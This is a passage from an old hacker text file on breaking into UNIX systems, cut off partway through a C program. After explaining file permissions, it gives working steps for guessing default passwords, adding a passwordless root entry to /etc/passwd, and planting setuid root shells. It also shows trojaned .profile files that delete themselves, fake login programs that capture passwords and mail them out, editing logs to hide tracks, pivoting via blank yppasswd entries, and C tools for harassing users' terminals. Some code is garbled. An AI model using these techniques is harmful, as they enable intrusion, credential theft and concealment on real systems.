bin (d) usr (d)
—-^——————–
| | |
sirhack(d) scythian (d) prophet (d)
|
src (d)

Now, this particular system contains the following directories:
/
/bin
/usr
/usr/sirhack
/usr/sirhack/src
/usr/scythian
/usr/prophet

Hopefully, you understood that part, and you should. Everything spawns from
the root directory.

o File Permissions!
——————

Now, this is really the biggie. File Permissions. It is not that hard to
understand file permissions, but I will explain them deeply anyway.

OK, now you must think of user groups as well as user names. Everyone
belongs to a group. at the $ prompt, you could type in ‘id’ to see what
group you are in. Ok, groups are used to allow people access certain things,
instead of just having one person controlling/having access to certain files.
Remember also, that Unix looks at someone’s UID to determine access, not
user name.

Ok. File permissions are not really that complicated. Each file has an owner
This OWNER is usually the one who creates the file, either by copying a file
or just by plain editing one. The program CHOWN can be used to give someone
ownership of a file. Remember that the owner of a file must be the one who
runs CHOWN, since he is the only one that can change the permissions of a file
Also, there is a group owner, which is basically the group that you were in
when the file was created. You would use chgrp to change the group a file is
in.

Now, Files can have Execute permissions, read permissions, or write permission.
If you have execute permission, you know that you can just type in the name
of that program at the command line, and it will execute. If you have read
permission on a file, you can obviously read the file, or do anything that
reads the file in, such as copying the file or cat[ing] it (Typing it).
If you do NOT have access to read a file, you can’t do anything that requires
reading in the file. This is the same respect with write permission. Now,
all the permissions are arranged into 3 groups. The first is the owner’s
permissions. He may have the permissions set for himself to read and execute
the file, but not write to it. This would keep him from deleting it.
The second group is the group permissions. Take an elongated directory
for an example:
$ ls -l runme
r-xrwxr– sirhack root 10990 March 21 runme

ok. Now, “root” is the groupname this file is in. “sirhack” is the owner.
Now, if the group named ‘root’ has access to read, write and execute, they
could do just that. Say .. Scythian came across the file, and was in the root
user group. He could read write or execute the file. Now, say datawiz came
across it, but was in the “users” group. The group permissions would not
apply to him, meaning he would have no permissions, so he couldn’t touch
the file, right? Sorta. There is a third group of permissions, and this is
the “other” group. This means that the permissions in the “other” group
apply to everyone but the owner, and the users in the same group as the file.
Look at the directory entry above. the r-x-rwxr– is the permissions line.
The first three characters are the permissions for the owner (r-x). The
” r-x” translates to “Read and execute permissions, but no write permissions”
the second set of three, r-xRWXr– (the ones in capital letters) are the group
permissions. Those three characters mean “Read, write, and execution allowed”
The 3rd set, r-xrwxR– is the permissions for everyone else. It means
” Reading allowed, but nothing else”. A directory would look something like
this:
$ ls -l
drwxr-xr-x sirhack root 342 March 11 src

A directory has a “d” at the beggining of the permissions line. Now, the
owner of the directory (sirhack) can read from the directory, write in the
directory, and execute programs from the directory. The root group and every-
one else can only read from the directory, and execute off the directory.
So, If I changed the directory to be executable only, this is
what it would look like:
$ chmod go-r
$ ls
drwx–x–x sirhack root 342 March 11 src

Now, if someone went into the directory besides “sirhack”, they could only
execute programs in the directory. If they did an “ls” to get a directory
of src, when they were inside src, it would say “cannot read directory”.
If there is a file that is readable in the directory, but the directory is
not readable, it is sometimes possible to read the file anyway.

If you do not have execute permissions in a directory, you won’t be able to
execute anything in the directory, most of the time.

_____________________________________________________________________________

————–
Hacking:
————–
The first step in hacking a UNIX is to get into the operating system
by finding a valid account/password. The object of hacking is usually to
get root (full privileges), so if you’re lucky enough to get in as root,
you need not read anymore of this hacking phile , and get into the
” Having Fun” Section. Hacking can also be just to get other’s accounts also.

Getting IN
———-
The first thing to do is to GET IN to the Unix. I mean, get past
the login prompt. That is the very first thing. When you come across a UNIX,
sometimes it will identify itself by saying something like,
” Young INC. Company UNIX”

or Just
” Young Inc. Please login”

Here is where you try the defaults I listed. If you get in with those
you can get into the more advanced hacking (getting root). If you do something
wrong at login, you’ll get the message
” login incorrect”
This was meant to confuse hackers, or keep the wondering. Why?
Well, you don’t know if you’ve enterred an account that does not exist, or one
that does exist, and got the wrong password. If you login as root and it says
” Not on Console”, you have a problem. You have to login as someone else,
and use SU to become root.

Now, this is where you have to think. If you cannot get in with a
default, you are obviously going to have to find something else to
login as. Some systems provide a good way to do this by allowing the use
of command logins. These are ones which simply execute a command, then
logoff. However, the commands they execute are usually useful. For instance
there are three common command logins that tell you who is online at the
present time. They are:
who
rwho
finger

If you ever successfully get one of these to work, you can write down
the usernames of those online, and try to logon as them. Lots of unsuspecting
users use there login name as their password. For instance, the user
” bob” may have a password named “bob” or “bob1″. This, as you know, is
not smart, but they don’t expect a hacking spree to be carried out on
them. They merely want to be able to login fast.
If a command login does not exist, or is not useful at all, you will
have to brainstorm. A good thing to try is to use the name of the unix
that it is identified as. For instance, Young INC’s Unix may have an account
named “young”
Young, INC. Please Login.
login: young
UNIX SYSTEM V REL 3.2
(c)1984 AT&T..
..
..
..

Some unixes have an account open named “test”. This is also a default,
but surprisingly enough, it is sometimes left open. It is good to try to
use it. Remember, brainstorming is the key to a unix that has no apparent
defaults open. Think of things that may go along with the Unix. type
in stuff like “info”, “password”, “dial”, “bbs” and other things that
may pertain to the system. “att” is present on some machines also.

ONCE INSIDE — SPECIAL FILES
—————————-
There are several files that are very important to the UNIX
environment. They are as follows:

/etc/passwd - This is probably the most important file on a Unix. Why?
well, basically, it holds the valid usernames/passwords.
This is important since only those listed in the passwd
file can login, and even then some can’t (will explain).
The format for the passwordfile is this:

username:password:UserID:GroupID:description(or real name):homedir:shell

Here are two sample entries:

sirhack:89fGc%^7&a,Ty:100:100:Sir Hackalot:/usr/sirhack:/bin/sh
demo::101:100:Test Account:/usr/demo:/usr/sh

In the first line, sirhack is a valid user. The second
field, however, is supposed to be a password, right? Well,
it is, but it’s encrypted with the DES encryption standard.
the part that says “&a,Ty” may include a date after the comma
(Ty) that tells unix when the password expires. Yes, the
date is encrypted into two alphanumeric characters (Ty).

In the Second example, the demo account has no password.
so at Login, you could type in:

login: demo
UNIX system V
(c)1984 AT&T
..
..

But with sirhack, you’d have to enter a password. Now,
the password file is great, since a lot of times, you;ll
be able to browse through it to look for unpassworded
accounts. Remember that some accounts can be restricted
from logging in, as such:

bin:*:2:2:binaccount:/bin:/bin/sh

The ‘*’ means you won’t be able to login with it. Your
only hope would be to run an SUID shell (explained later).

A note about the DES encryption: each unix makes its own unique
” keyword” to base encryption off of. Most of the time its just random letters
and numbers. Its chosen at installation time by the operating system.
Now, decrypting DES encrypted things ain’t easy. Its pretty much
impossible. Especially decrypting the password file (decrypting the password
field within the password file to be exact). Always beware a hacker who
says he decrypted a password file. He’s full of shit. Passwords are
never decrypted on unix, but rather, a system call is made to a function
called “crypt” from within the C language, and the string you enter as
the password gets encrypted, and compared to the encrypted password. If
they match, you’re in. Now, there are password hackers, but they donot
decrypt the password file, but rather, encrypt words from a dictionary
and try them against every account (by crypting/comparing) until it finds
a match (later on!). Remember, few, if none, have decrypted the password
file successfuly.

/etc/group - This file contains The valid groups. The group file is usually
defined as this:
groupname:password:groupid:users in group

Once again, passwords are encrypted here too. If you see a blank
in the password entry you can become part of that group by
using the utility “newgrp”. Now, there are some cases in
which even groups with no password will allow only certain
users to be assigned to the group via the newgrp command. Usually,
if the last field is left blank, that means any user can use newgrp
to get that group’s access. Otherwise, only the users specified in
the last field can enter the group via newgrp.

Newgrp is just a program that will change your group current
group id you are logged on under to the one you specify. The
syntax for it is: newgrp groupname
Now, if you find a group un passworded, and use newgrp to
enter it, and it asks for a password, you are not allowed to use
the group. I will explain this further in The “SU & Newgrp” section.

/etc/hosts - this file contains a list of hosts it is connected to thru
a hardware network (like an x.25 link or something), or sometimes
just thru UUCP. This is a good file when you are hacking a
large network, since it tells you systems you can use with
rsh (Remote Shell, not restricted shell), rlogin, and telnet,
as well as other ethernet/x.25 link programs.

/usr/adm/sulog (or su_log) - the file sulog (or su_log) may be found in
Several directories, but it is usually in /usr/adm. This file
is what it sounds like. Its a log file, for the program SU.
What it is for is to keep a record of who uses SU and when.
whenever you use SU, your best bet would be to edit this file
if possible, and I’ll tell you how and why in the section
about using “su”.

/usr/adm/loginlog
or /usr/adm/acct/loginlog -
This is a log file, keeping track of the logins.
Its purpose is merely for accounting and “security review”. Really,
sometimes this file is never found, since a lot of systems keep the
logging off.

/usr/adm/errlog
or errlog - This is the error log. It could be located anywhere. It
keeps track of all serious and even not so serious errors.
Usually, it will contain an error code, then a situation.
the error code can be from 1-10, the higher the number, the
worse the error. Error code 6 is usually used when you try
to hack. “login” logs your attempt in errlog with error code
6. Error code 10 means, in a nutshell, “SYSTEM CRASH”.

/usr/adm/culog - This file contains entries that tell when you used cu,
where you called and so forth. Another security thing.

/usr/mail/ - this is where the program “mail” stores its mail.
to read a particular mailbox, so they are called,
you must be that user, in the user group “mail” or
root. each mailbox is just a name. for instance,
if my login was “sirhack” my mail file would usually
be: /usr/mail/sirhack

/usr/lib/cron/crontabs - This contains the instructions for cron, usually.
Will get into this later.

/etc/shadow - A “shadowed” password file. Will talk about this later.
– The BIN account –

Well, right now, I’d like to take a moment to talk about the account
” bin”. While it is only a user level account, it is very powerful. It is
the owner of most of the files, and on most systems, it owns /etc/passwd,
THE most important file on a unix. See, the bin account owns most of the
” bin” (binary) files, as well as others used by the binary files, such
as login. Now, knowing what you know about file permissions, if bin owns
the passwd file, you can edit passwd and add a root entry for yourself.
You could do this via the edit command:
$ ed passwd
10999 [The size of passwd varies]
* a
sirhak::0:0:Mr. Hackalot:/:/bin/sh
{control-d}
* w
* q
$

Then, you could say: exec login, then you could login as sirhack, and
you’d be root.

/\/\/\/\/\/\/\/\/
Hacking……….
/\/\/\/\/\/\/\/\/

————–
Account Adding
————–

There are other programs that will add users to the system, instead
of ed. But most of these programs will NOT allow a root level user to be
added, or anything less than a UID of 100. One of these programs is
named “adduser”. Now, the reason I have stuck this little section in, is
for those who want to use a unix for something useful. Say you want a
” mailing address”. If the unix has uucp on it, or is a big college,
chances are, it will do mail transfers. You’ll have to test the unix
by trying to send mail to a friend somewhere, or just mailing yourself.
If the mailer is identified as “smail” when you mail yourself (the program
name will be imbedded in the message) that probably means that the system
will send out UUCP mail. This is a good way to keep in contact with people.
Now, this is why you’d want a semi-permanent account. The way to achieve this
is by adding an account similar to those already on the system. If all the
user-level accounts (UID >= 100) are three letter abbriviations, say
” btc” for Bill The Cat, or “brs” for bill ryan smith, add an account
via adduser, and make a name like sally jane marshall or something
(they don’t expect hackers to put in female names) and have the account
named sjm. See, in the account description (like Mr. Hackalot above), that
is where the real name is usually stored. So, sjm might look like this:
sjm::101:50:Sally Jane Marshall:/usr/sjm:/bin/sh
Of course, you will password protect this account, right?
Also, group id’s don’t have to be above 100, but you must put the account
into one that exists. Now, once you login with this account, the first
thing you’d want to do is execute “passwd” to set a password up. If you
don’t, chances are someone else ‘ll do it for you (Then you’ll be SOL).

——————-
Set The User ID
——————-

This is porbably one of the most used schemes. Setting up an “UID-
Shell”. What does this mean? Well, it basically means you are going
to set the user-bit on a program. The program most commonly used is
a shell (csh,sh, ksh, etc). Why? Think about it: You’ll have access
to whatever the owner of the file does. A UID shell sets the user-ID of
the person who executes it to the owner of the program. So if root
owns a uid shell, then you become root when you run it. This is an
alternate way to become root.

Say you get in and modify the passwd file and make a root level
account unpassworded, so you can drop in. Of course, you almost HAVE to
get rid of that account or else it WILL be noticed eventually. So, what
you would do is set up a regular user account for yourself, then, make
a uid shell. Usually you would use /bin/sh to do it. After adding
the regular user to the passwd file, and setting up his home directory,
you could do something like this:
(assume you set up the account: shk)
# cp /bin/sh /usr/shk/runme
# chmod a+s /usr/shk/runme

Thats all there would be to it. When you logged in as shk, you could just
type in:

$ runme
#

See? You’d then be root. Here is a thing to do:

$ id
uid=104(shk) gid=50(user)

$ runme
# id
uid=104(shk) gid=50(user) euid=0(root)
#

The euid is the “effective” user ID. UID-shells only set the effective
userid, not the real user-id. But, the effective user id over-rides the
real user id. Now, you can, if you wanted to just be annoying, make
the utilities suid to root. What do I mean? For instance, make ‘ls’
a root ’shell’. :

# chmod a+s /bin/ls
# exit
$ ls -l /usr/fred
..
……
etc crap

Ls would then be able to pry into ANY directory. If you did the same to
” cat” you could view any file. If you did it to rm, you could delete any
file. If you did it to ‘ed’, you could edit any-file (nifty!), anywhere on
the system (usually).
How do I get root?
——————

Good question indeed. To make a program set the user-id shell to root,
you have to be root, unless you’re lucky. What do I mean? Well, say
you find a program that sets the user-id to root. If you have access
to write to that file, guess what? you can copy over it, but keep
the uid bit set. So, say you see that the program chsh is setting
the user id too root. You can copy /bin/sh over it.

$ ls -l
rwsrwsrws root other 10999 Jan 4 chsh
$ cp /bin/sh chsh
$ chsh
#

See? That is just one way. There are others, which I will now talk
about.

More on setting the UID
———————–

Now, the generic form for making a program set the User-ID bit
is to use this command:

chmod a+s file

Where ‘file’ is a valid existing file. Now, only those who own the file
can set the user ID bit. Remember, anything YOU create, YOU own, so if
you copy th /bin/sh, the one you are logged in as owns it, or IF the
UID is set to something else, the New UID owns the file. This brings
me to BAD file permissions.

II. HACKING : Bad Directory Permissions

Now, what do I mean for bad directory permissions? Well, look for
files that YOU can write to, and above all, DIRECTORIES you can write to.
If you have write permissions on a file, you can modify it. Now, this comes
in handy when wanting to steal someone’s access. If you can write to
a user’s .profile, you are in business. You can have that user’s .profile
create a suid shell for you to run when You next logon after the user.
If the .profile is writable to you, you can do this:

$ ed .profile
[some number will be here]
? a
cp /bin/sh .runme
chmod a+x .runme
chmod a+s .runme
(control-d)
? w
[new filesize will be shown]
? q
$

Now, when the user next logs on, the .profile will create .runme which
will set your ID to the user whose .profile you changed. Ideally, you’ll
go back in and zap those lines after the suid is created, and you’ll create
a suid somewhere else, and delete the one in his dir. The .runme will
not appear in the user’s REGULAR directory list, it will only show up
if he does “ls -a” (or ls with a -a combination), because, the ‘.’ makes
a file hidden.

The above was a TROJAN HORSE, which is one of the most widely used/abused
method of gaining more power on a unix. The above could be done in C via
the system() command, or by just plain using open(), chmod(), and the like.
* Remember to check and see if the root user’s profile is writeable *
* it is located at /.profile (usually) *
The BEST thing that could happen is to find a user’s directory writeable
by you. Why? well, you could replace all the files in the directory
with your own devious scripts, or C trojans. Even if a file is not
writeable by you, you can still overwrite it by deleteing it. If you
can read various files, such as the user’s .profile, you can make a
self deleting trojan as so:

$ cp .profile temp.pro
$ ed .profile
1234
? a
cp /bin/sh .runme
chmod a+x .runme
chmod a+s .runme
mv temp.pro .profile
(control-d)
? w
[another number]
? q
$ chown that_user temp.pro

What happens is that you make a copy of the .profile before you change it.
Then, you change the original. When he runs it, the steps are made, then
the original version is placed over the current, so if the idiot looks in
his .profile, he won’t see anything out of the ordinary, except that he
could notice in a long listing that the change date is very recent, but
most users are not paranoid enough to do extensive checks on their files,
except sysadm files (such as passwd).

Now, remember, even though you can write to a dir, you may not be able
to write to a file without deleting it. If you do not have write perms
for that file, you’ll have to delete it and write something in its place
(put a file with the same name there). The most important thing to remember
if you have to delete a .profile is to CHANGE the OWNER back after you
construct a new one (hehe) for that user. He could easily notice that his
.profile was changed and he’ll know who did it. YES, you can change the
owner to someone else besides yourself and the original owner (as to throw
him off), but this is not wise as keeping access usually relies on the fact
that they don’t know you are around.

You can easily change cron files if you can write to them. I’m not going
to go into detail about cronfile formats here, just find the crontab files
and modify them to create a shell somewhere as root every once in a while,
and set the user-id.

III. Trojan Horses on Detached terminals.
Basically this: You can send garbage to a user’s screen and
mess him up bad enough to force a logoff, creating a detached
account. Then you can execute a trojan horse off that terminal in
place of login or something, so the next one who calls can hit the
trojan horse. This USUALLY takes the form of a fake login and
write the username/pw entererred to disk.

Now, there are other trojan horses available for you to write. Now,
don’t go thinking about a virus, for they don’t work unless ROOT runs
them. Anyway, a common trjan would be a shell script to get the
password, and mail it to you. Now, you can replace the code for
the self deleting trojan with one saying something like:
echo “login: \c”
read lgin
echo off (works on some systems)
(if above not available…: stty -noecho)
echo “Password:\c”
read pw
echo on
echo “Login: $lgin - Pword: $pw” | mail you

Now, the best way to use this is to put it in a seperate script file
so it can be deleted as part of the self deleting trojan. A quick
modification, removing the “login: ” and leaving the password
may have it look like SU, so you can get the root password. But
make sure the program deletes itself. Here is a sample trojan
login in C:

#include
/* Get the necessary defs.. */
main()
{
char *name[80];
char *pw[20];
FILE *strm;
printf(”login: “);
gets(name);
pw = getpass(”Password:”);
strm = fopen(”/WhereEver/Whateverfile”,”a”);
fprintf(strm,”User: (%s), PW [%s]\n”,name,pw);
fclose(strm);
/* put some kind of error below… or something… */
printf(”Bus Error - Core Dumped\n”);
exit(1);
}

The program gets the login, and the password, and appends it to
a file (/wherever/whateverfile), and creates the file if it can,
and if its not there. That is just an example. Network Annoyances
come later.

IV. Odd systems

There may be systems you can log in to with no problem, and find some
slack menu, database, or word processor as your shell, with no way to the
command interpreter (sh, ksh, etc..). Don’t give up here. Some systems will
let you login as root, but give you a menu which will allow you to add an
account. However, ones that do this usually have some purchased software
package running, and the people who made the software KNOW that the people
who bought it are idiots, and the thing will sometimes only allow you to
add accounts with user-id 100 or greater, with their special menushell as
a shell. You probably won’t get to pick the shell, the program will probably
stick one on the user you created which is very limiting. HOWEVER, sometimes
you can edit accounts, and it will list accounts you can edit on the screen.
HOWEVER, these programs usually only list those with UIDS > 100 so you don’t
edit the good accounts, however, they donot stop you from editing an account
with a UID < 100. The "editing" usually only involves changing the password
on the account. If an account has a * for a password, the standard passwd
program which changes programs, will say no pw exists, and will ask you to
enter one. (wallah! You have just freed an account for yourself. Usually
bin and sys have a * for a password). If one exists you’ll have to enter
the old Password (I hope you know it!) for that account. Then, you are
in the same boat as before. (BTW — These wierd systems are usually
Xenix/386, Xenix/286, or Altos/286)
With word processors, usually you can select the load command,
and when the word processor prompts for a file, you can select the passwd
file, to look for open accounts, or at least valid ones to hack. An example
would be the informix system. You can get a word processor with that such
as Samna word, or something, and those Lamers will not protect against
shit like that. Why? The Passwd file HAS to be readable by all for the most
part, so each program can “stat” you. However, word processors could be made
to restrict editing to a directory, or set of directories. Here is an
example:

$ id
uid=100(sirhack) gid=100(users)
$ sword
(word processor comes up)
(select LOAD A FILE)
: /etc/passwd

(you see: )
root:dkdjkgsf!!!:0:0:Sysop:/:/bin/sh
sirhack:dld!k%%^%:100:100:Sir Hackalot:/usr/usr1/sirhack:/bin/sh
datawiz::101:100:The Data Wizard:/usr/usr1/datawiz:/bin/sh

Now I have found an account to take over! “datawiz” will get me in with no
trouble, then I can change his password, which he will not like at all.
Some systems leave “sysadm” unpassworded (stupid!), and now, Most versions
of Unix, be it Xenix, Unix, BSD, or whatnot, they ship a sysadm shell which
will menu drive all the important shit, even creating users, but you must
have ansi or something.

You can usually tell when you’ll get a menu. Sometimes on UNIX
SYSTEM V, when it says TERM = (termtype), and is waiting for
you to press return or whatever, you will probably get a menu.. ack.

V. Shadowed Password files
Not much to say about this. all it is, is when every password field
in the password file has an “x” or just a single character. What
that does is screw you, becuase you cannot read the shadowed password
file, only root can, and it contains all the passwords, so you will
not know what accounts have no passwords, etc.

There are a lot of other schemes for hacking unix, lots of others, from
writing assembly code that modifies the PCB through self-changing code which
the interrupt handler doesn’t catch, and things like that. However, I do
not want to give away everything, and this was not meant for advanced Unix
Hackers, or atleast not the ones that are familiar with 68xxx, 80386 Unix
assembly language or anything. Now I will Talk about Internet.

—>>> InterNet <<<---
Why do I want to talk about InterNet? Well, because it is a prime
example of a TCP/IP network, better known as a WAN (Wide-Area-Network).
Now, mainly you will find BSD systems off of the Internet, or SunOS, for
they are the most common. They may not be when System V, Rel 4.0, Version
2.0 comes out. Anyway, these BSDs/SunOSs like to make it easy to jump
from one computer to another once you are logged in. What happens is
EACH system has a “yello page password file”. Better known as yppasswd.
If you look in there, and see blank passwords you can use rsh, rlogin, etc..
to slip into that system. One system in particular I came across had a
a yppasswd file where *300* users had blank passwords in the Yellow Pages.
Once I got in on the “test” account, ALL I had to do was select who I wanted
to be, and do: rlogin -l user (sometimes -n). Then it would log me onto
the system I was already on, through TCP/IP. However, when you do this,
remember that the yppasswd only pertains to the system you are on at
the time. To find accounts, you could find the yppasswd file and do:

% cat yppasswd | grep ::

Or, if you can’t find yppasswd..

% ypcat passwd | grep ::

On ONE system (which will remain confidential), I found the DAEMON account
left open in the yppasswd file. Not bad. Anyway, through one system
on the internet, you can reach many. Just use rsh, or rlogin, and look
in the file: /etc/hosts for valid sites which you can reach. If you get
on to a system, and rlogin to somewhere else, and it asks for a password,
that just means one of two things:

A. Your account that you have hacked on the one computer is on the target
computer as well. Try to use the same password (if any) you found the
hacked account to have. If it is a default, then it is definitly on the
other system, but good luck…

B. rlogin/rsh passed your current username along to the remote system, so it
was like typing in your login at a “login: ” prompt. You may not exist on
the other machine. Try “rlogin -l login_name”, or rlogin -n name..
sometimes, you can execute “rwho” on another machine, and get a valid
account.

Some notes on Internet servers. There are “GATEWAYS” that you can get into
that will allow access to MANY internet sites. They are mostly run off
a modified GL/1 or GS/1. No big deal. They have help files. However,
you can get a “privilged” access on them, which will give you CONTROL of
the gateway.. You can shut it down, remove systems from the Internet, etc..
When you request to become privileged, it will ask for a password. There is
a default. The default is “system”. I have come across *5* gateways with
the default password. Then again, DECNET has the same password, and I have
come across 100+ of those with the default privileged password. CERT Sucks.
a Gateway that led to APPLE.COM had the default password. Anyone could
have removed apple.com from the internet. Be advised that there are many
networks now that use TCP/IP.. Such as BARRNET, LANET, and many other
University networks.

–** Having Fun **–

Now, if nothing else, you should atleast have some fun. No, I do not mean
go trashing hardrives, or unlinking directories to take up inodes, I mean
play with online users. There are many things to do. Re-direct output
to them is the biggie. Here is an example:
$ who
loozer tty1
sirhack tty2
$ banner You Suck >/dev/tty1
$
That sent the output to loozer. The TTY1 is where I/O is being performed
to his terminal (usually a modem if it is a TTY). You can repetitiously
banner him with a do while statement in shell, causing him to logoff. Or
you can get sly, and just screw with him. Observe this C program:

#include
#include
#include

main(argc,argument)
int argc;
char *argument[];
{
int handle;
char *pstr,*olm[80];
char *devstr = “/dev/”;
int acnt = 2;
FILE *strm;
pstr = “”;
if (argc == 1) {
printf(”OL (OneLiner) Version 1.00 \n”);
printf(”By Sir Hackalot [PHAZE]\n”);
printf(”\nSyntax: ol tty message\n”);
printf(”Example: ol tty01 You suck\n”);
exit(1);
}
printf(”OL (OneLiner) Version 1.0\n”);
printf(”By Sir Hackalot [PHAZE]\n”);
if (argc == 2) {
strcpy(olm,”");
printf(”\nDummy! You forgot to Supply a ONE LINE MESSAGE\n”);
printf(”Enter one Here => “);
gets(olm);
}
strcpy(pstr,”");
strcat(pstr,devstr);
strcat(pstr,argument[1]);
printf(”Sending to: [%s]\n”,pstr);
strm = fopen(pstr,”a”);
if (strm == NULL) {
printf(”Error writing to: %s\n”,pstr);
printf(”Cause: No Write Perms?\n”);
exit(2);
}
if (argc == 2) {
if (strcmp(logname(),”sirhack”) != 0) fprintf(strm,”Message from (%s): \n”,logname());
fprintf(strm,”%s\n”,olm);
fclose(strm);
printf(”Message Sent.\n”);
exit(0);
}
if (argc > 2) {
if (strcmp(logname(),”sirhack”) != 0) fprintf(strm,”Message from (%s):\n”,logname());
while (acnt <= argc - 1) {
fprintf(strm,”%s “,argument[acnt]);
acnt++;
}
fclose(strm);
printf(”Message sent!\n”);
exit(0);
}
}

What the above does is send one line of text to a device writeable by you
in /dev. If you try it on a user named “sirhack” it will notify sirhack
of what you are doing. You can supply an argument at the command line, or
leave a blank message, then it will prompt for one. You MUST supply a
Terminal. Also, if you want to use ?, or *, or (), or [], you must not
supply a message at the command line, wait till it prompts you. Example:

$ ol tty1 You Suck!
OL (OneLiner) Version 1.00
by Sir Hackalot [PHAZE]
Sending to: [/dev/tty1]
Message Sent!
$
Or..
$ ol tty1
OL (OneLiner) Version 1.00
by Sir Hackalot [PHAZE]
Dummy! You Forgot to Supply a ONE LINE MESSAGE!
Enter one here => Loozer! Logoff (NOW)!! ^G^G
Sending to: [/dev/tty1]
Message Sent!
$

You can even use it to fake messages from root. Here is another:
/*
* Hose another user
*/

#include
#include
#include
#include
#include
#include
#include
#include

#define NMAX sizeof(ubuf.ut_name)

struct utmp ubuf;
struct termio oldmode, mode;
struct utsname name;
int yn;
int loop = 0;
char *realme[50] = “Unknown”;
char *strcat(), *strcpy(), me[50] = “???”, *him, *mytty, histty[32];
char *histtya, *ttyname(), *strrchr(), *getenv();
int signum[] = {SIGHUP, SIGINT, SIGQUIT, 0}, logcnt, eof(), timout();
FILE *tf;

main(argc, argv)
int argc;
char *argv[];
{
register FILE *uf;
char c1, lastc;
int goodtty = 0;
long clock = time((long *) 0);
struct tm *localtime();
struct tm *localclock = localtime( &clock );
struct stat stbuf;
char psbuf[20], buf[80], window[20], junk[20];
FILE *pfp, *popen();

if (argc < 2) {
printf(”usage: hose user [ttyname]\n”);
exit(1);
}
him = argv[1];

if (argc > 2)
histtya = argv[2];
if ((uf = fopen(”/etc/utmp”, “r”)) == NULL) {
printf(”cannot open /etc/utmp\n”);
exit(1);
}
cuserid(me);
if (me == NULL) {
printf(”Can’t find your login name\n”);
exit(1);
}
mytty = ttyname(2);
if (mytty == NULL) {<